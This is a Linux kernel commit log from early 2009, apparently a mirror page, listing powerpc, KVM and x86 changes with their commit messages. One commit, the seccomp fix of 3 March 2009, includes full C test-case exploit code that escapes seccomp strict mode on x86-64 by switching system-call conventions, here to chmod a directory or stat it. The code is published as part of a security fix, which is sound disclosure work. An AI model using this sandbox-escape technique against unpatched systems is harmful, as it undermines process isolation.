- 01 4月, 2009 1 次提交
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由 Akinobu Mita 提交于
Use debug_kmap_atomic in kmap_atomic, kmap_atomic_pfn, and iomap_atomic_prot_pfn. Signed-off-by: NAkinobu Mita <akinobu.mita@gmail.com> Cc: Thomas Gleixner <tglx@linutronix.de> Cc: Ingo Molnar <mingo@redhat.com> Cc: "H. Peter Anvin" <hpa@zytor.com> Cc: <linux-arch@vger.kernel.org> Signed-off-by: NAndrew Morton <akpm@linux-foundation.org> Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
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- 30 3月, 2009 1 次提交
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由 Rusty Russell 提交于
Everyone defines it, and only one person uses it (arch/mips/sgi-ip27/ip27-nmi.c). So just open code it there. Signed-off-by: NRusty Russell <rusty@rustcorp.com.au> Cc: linux-mips@linux-mips.org
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- 28 3月, 2009 1 次提交
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由 Christoph Hellwig 提交于
Due to a different size of ino_t ustat needs a compat handler, but currently only x86 and mips provide one. Add a generic compat_sys_ustat and switch all architectures over to it. Instead of doing various user copy hacks compat_sys_ustat just reimplements sys_ustat as it's trivial. This was suggested by Arnd Bergmann. Found by Eric Sandeen when running xfstests/017 on ppc64, which causes stack smashing warnings on RHEL/Fedora due to the too large amount of data writen by the syscall. Signed-off-by: NChristoph Hellwig <hch@lst.de> Signed-off-by: NAl Viro <viro@zeniv.linux.org.uk>
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- 27 3月, 2009 1 次提交
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由 Josh Boyer 提交于
On powerpc64 machines running 32-bit userspace, we can get garbage bits in the stack pointer passed into the kernel. Most places handle this correctly, but the signal handling code uses the passed value directly for allocating signal stack frames. This fixes the issue by introducing a get_clean_sp function that returns a sanitized stack pointer. For 32-bit tasks on a 64-bit kernel, the stack pointer is masked correctly. In all other cases, the stack pointer is simply returned. Additionally, we pass an 'is_32' parameter to get_sigframe now in order to get the properly sanitized stack. The callers are know to be 32 or 64-bit statically. Signed-off-by: NJosh Boyer <jwboyer@linux.vnet.ibm.com> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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- 24 3月, 2009 22 次提交
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由 Liu Yu 提交于
So, KVM needs to read tlbcam_index to know exactly which TLB1 entry is unused by host. Signed-off-by: NLiu Yu <yu.liu@freescale.com> Acked-by: NKumar Gala <galak@kernel.crashing.org> Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
After the rewrite of KVM's debug support, this code doesn't even build any more. Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
e500 has additional interrupt vectors (and corresponding IVORs) for SPE and performance monitoring interrupts. Signed-off-by: NLiu Yu <yu.liu@freescale.com> Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
When itlb or dtlb miss happens, E500 needs to update some mmu registers. So that the auto-load mechanism can work on E500 when write a tlb entry. Signed-off-by: NLiu Yu <yu.liu@freescale.com> Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
Signed-off-by: NLiu Yu <yu.liu@freescale.com> Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
Kernel for E500 need clear dbsr when startup. So add dbsr register in kvm_vcpu_arch for BOOKE. Signed-off-by: NLiu Yu <yu.liu@freescale.com> Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
e500 will provide its own implementation of these. Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
Passing just the TLB index will ease an e500 implementation. Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Hollis Blanchard 提交于
Signed-off-by: NHollis Blanchard <hollisb@us.ibm.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Jan Kiszka 提交于
Remove the remaining arch fragments of the old guest debug interface that now break non-x86 builds. Signed-off-by: NJan Kiszka <jan.kiszka@siemens.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Jan Kiszka 提交于
This rips out the support for KVM_DEBUG_GUEST and introduces a new IOCTL instead: KVM_SET_GUEST_DEBUG. The IOCTL payload consists of a generic part, controlling the "main switch" and the single-step feature. The arch specific part adds an x86 interface for intercepting both types of debug exceptions separately and re-injecting them when the host was not interested. Moveover, the foundation for guest debugging via debug registers is layed. To signal breakpoint events properly back to userland, an arch-specific data block is now returned along KVM_EXIT_DEBUG. For x86, the arch block contains the PC, the debug exception, and relevant debug registers to tell debug events properly apart. The availability of this new interface is signaled by KVM_CAP_SET_GUEST_DEBUG. Empty stubs for not yet supported archs are provided. Note that both SVM and VTX are supported, but only the latter was tested yet. Based on the experience with all those VTX corner case, I would be fairly surprised if SVM will work out of the box. Signed-off-by: NJan Kiszka <jan.kiszka@siemens.com> Signed-off-by: NAvi Kivity <avi@redhat.com>
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由 Benjamin Herrenschmidt 提交于
This moves some MMU related init code out of setup_64.c into hash_utils_64.c and calls it early_init_mmu() and early_init_mmu_secondary(). This will make it easier to plug in a new MMU type. Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Benjamin Herrenschmidt 提交于
ppc32 has it already, add it to ppc64 as a preliminary for adding support for Book3E 64-bit support Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Benjamin Herrenschmidt 提交于
Now that they are almost identical, we can merge some of the definitions related to the PTE format into common files. This creates a new pte-common.h which is included by both 32 and 64-bit right after the CPU specific pte-*.h file, and which defines some bits to "default" values if they haven't been defined already, and then provides a generic definition of most of the bit combinations based on these and exposed to the rest of the kernel. I also moved to the common pgtable.h most of the "small" accessors to the PTE bits and modification helpers (pte_mk*). The actual accessors remain in their separate files. Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Benjamin Herrenschmidt 提交于
This patch tweaks the way some PTE bit combinations are defined, in such a way that the 32 and 64-bit variant become almost identical and that will make it easier to bring in a new common pte-* file for the new variant of the Book3-E support. The combination of bits defining access to kernel pages are now clearly separated from the combination used by userspace and the core VM. The resulting generated code should remain identical unless I made a mistake. Note: While at it, I removed a non-sensical statement related to CONFIG_KGDB in ppc_mmu_32.c which could cause kernel mappings to be user accessible when that option is enabled. Probably something that bitrot. Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Kumar Gala 提交于
Complete workaround for DTLB errata in e300c2/c3/c4 processors. Due to the bug, the hardware-implemented LRU algorythm always goes to way 1 of the TLB. This fix implements the proposed software workaround in form of a LRW table for chosing the TLB-way. Based on patch from David Jander <david@protonic.nl> Signed-off-by: NKumar Gala <galak@kernel.crashing.org> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Kumar Gala 提交于
Now that we set archdata for of_platform and platform devices via platform_notify() we no longer need to special case having a NULL device pointer or NULL archdata. It should be a driver error if this condition shows up and the driver should be fixed. Signed-off-by: NKumar Gala <galak@kernel.crashing.org> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Rusty Russell 提交于
Makes code futureproof against the impending change to mm->cpu_vm_mask. It's also a chance to use the new cpumask_ ops which take a pointer (the older ones are deprecated, but there's no hurry for arch code). Signed-off-by: NRusty Russell <rusty@rustcorp.com.au> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Jeremy Kerr 提交于
PAPR v2.3 defines fields in the virtual processor area for a dispatch trace log (DLT). Since we'd like to use the DLT, add the necessary fields to struct lppaca. Signed-off-by: NJeremy Kerr <jk@ozlabs.org> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Jeremy Kerr 提交于
The page_ins member ends at byte 0x3, not 0x4. Also, fix up the alignment. Signed-off-by: NJeremy Kerr <jk@ozlabs.org> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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- 20 3月, 2009 2 次提交
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由 Benjamin Herrenschmidt 提交于
This updates the 32-bit headers to use the same definitions for the RPN shift inside the PTE as 64-bit, and thus updates _PAGE_CHG_MASK to become identical. This does introduce a runtime visible difference, which is that now, _PAGE_HASHPTE will be part of _PAGE_CHG_MASK and thus preserved. However this should have no practical effect as it should have been preserved in the first place and we got away with not having it there due to our PTE access functions preserving it anyway. Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Benjamin Herrenschmidt 提交于
This patch moves the definition of the PTE format for each MMU type to separate files instead of all in one file. This improves overall maintainability and will make it easier to add new types. On 64-bit, additionally, I've separated the headers relative to the format of the page table tree (3 vs. 4 levels for 64K vs 4K pages) from the headers specific to the PTE format for hash based processors, this will make it easier to add support for Book3 "E" 64-bit implementations. There are still some type-related ifdef's in the generic headers, we might remove them in the long run, but this patch shouldn't result in any code change, -hopefully- just definitions being moved around. Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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- 17 3月, 2009 1 次提交
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由 Piotr Ziecik 提交于
BestComm, a DMA engine in MPC52xx SoC, requires snooping when CPU caches are enabled to work properly. Adding CPU_FTR_NEED_COHERENT fixes NFS problems on MPC52xx machines introduced by 'powerpc/mm: Fix handling of _PAGE_COHERENT in BAT setup code' (sha1: 4c456a67). Signed-off-by: NPiotr Ziecik <kosmo@semihalf.com> Signed-off-by: NGrant Likely <grant.likely@secretlab.ca>
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- 11 3月, 2009 7 次提交
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由 Wolfgang Grandegger 提交于
This patch adds the utility function mpc52xx_get_xtal_freq() to get the frequency of the external oscillator clock connected to the pin SYS_XTAL_IN. The MSCAN may us it as clock source. Unfortunately, this value is not available from the FDT blob, but it can be determined from the IPB frequency. Signed-off-by: NWolfgang Grandegger <wg@grandegger.com> Signed-off-by: NGrant Likely <grant.likely@secretlab.ca>
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由 Thomas Gleixner 提交于
Impact: cleanup Convert the last remaining users to struct irq_chip. Signed-off-by: NThomas Gleixner <tglx@linutronix.de> CC: Benjamin Herrenschmidt <benh@kernel.crashing.org> CC: linuxppc-dev@ozlabs.org Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Andrew Klossner 提交于
When the console is on a serial port to be driven by serial8250, a character can be lost from the end of the first line in the two-line sequence serial8250.0: ttyS0 at MMIO 0xe0004500 (irq = 42) is a 16550A console handover: boot [udbg0] -> real [ttyS0] This happens because udbg_puts or udbg_write stuff the last byte of the line into the Tx FIFO and return, whereupon the serial8250 initialization code immediately empties that FIFO. The fix: udbg_puts and udbg_write now wait for the Tx FIFO to clear before returning. This delays the system by one additional serial frame time for each line written by udbg, but the effect is not noticeable, a cumulative 17 milliseconds for 200 lines of early printk output at 115200 baud. Also, the routines in udbg_16550.c now emit CRLF instead of LFCR. Linux makes a point of emitting CRLF because, when serial output is captured to a file, LFCR sequences can confuse text editors. See http://lkml.org/lkml/2006/2/4/50 for some history. Signed-off-by: NAndrew Klossner <andrew@cesa.opbu.xerox.com> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 roel kluin 提交于
Change the ps3av_auto_videomode() mode id argument type from unsigned to signed so a negative id can be detected and reported as an -EINVAL failure. Signed-off-by: NRoel Kluin <roel.kluin@gmail.com> Signed-off-by: NGeoff Levand <geoffrey.levand@am.sony.com> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Geoff Levand 提交于
The powerpc 64 bit architecture defines three flags for the DABR (Data Address Breakpoint Register). Add definitions for the currently missing DABR_DATA_WRITE and DABR_DATA_READ flags to the powerpc reg.h file. Signed-off-by: NGeoff Levand <geoffrey.levand@am.sony.com> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Timur Tabi 提交于
Add macros for the GS (guest state) bit to the list of MSR bit definitions. On PowerPC cores that support embedded hypervisor mode, GS is cleared if the system is running in hypervisor state (and MSR[PR] is cleared), and set if it's running in guest state. See the Power ISA 2.06 specification for more information. Signed-off-by: NTimur Tabi <timur@freescale.com> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Benjamin Herrenschmidt 提交于
This adds the necessary bits and pieces to powerpc implementation of ioremap to benefit from caller tracking in /proc/vmallocinfo, at least for ioremap's done after mem init as the older ones aren't tracked. Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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- 09 3月, 2009 1 次提交
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由 Kumar Gala 提交于
The e500mc core supports the new tlbilx instructions that do core local invalidates and also provide us the ability to take down all TLB entries matching a given PID. Signed-off-by: NKumar Gala <galak@kernel.crashing.org>
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- 03 3月, 2009 1 次提交
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由 Roland McGrath 提交于
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: NRoland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: NLinus Torvalds <torvalds@linux-foundation.org>
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- 23 2月, 2009 2 次提交
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由 Anton Blanchard 提交于
Randomise ELF_ET_DYN_BASE, which is used when loading position independent executables. Signed-off-by: NAnton Blanchard <anton@samba.org> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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由 Anton Blanchard 提交于
Randomize the heap. before: tundro2:~ # sleep 1 & cat /proc/${!}/maps | grep heap 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] 10017000-10118000 rw-p 10017000 00:00 0 [heap] after tundro2:~ # sleep 1 & cat /proc/${!}/maps | grep heap 19419000-1951a000 rw-p 19419000 00:00 0 [heap] 325ff000-32700000 rw-p 325ff000 00:00 0 [heap] 1a97c000-1aa7d000 rw-p 1a97c000 00:00 0 [heap] 1cc60000-1cd61000 rw-p 1cc60000 00:00 0 [heap] 1afa9000-1b0aa000 rw-p 1afa9000 00:00 0 [heap] Signed-off-by: NAnton Blanchard <anton@samba.org> Signed-off-by: NBenjamin Herrenschmidt <benh@kernel.crashing.org>
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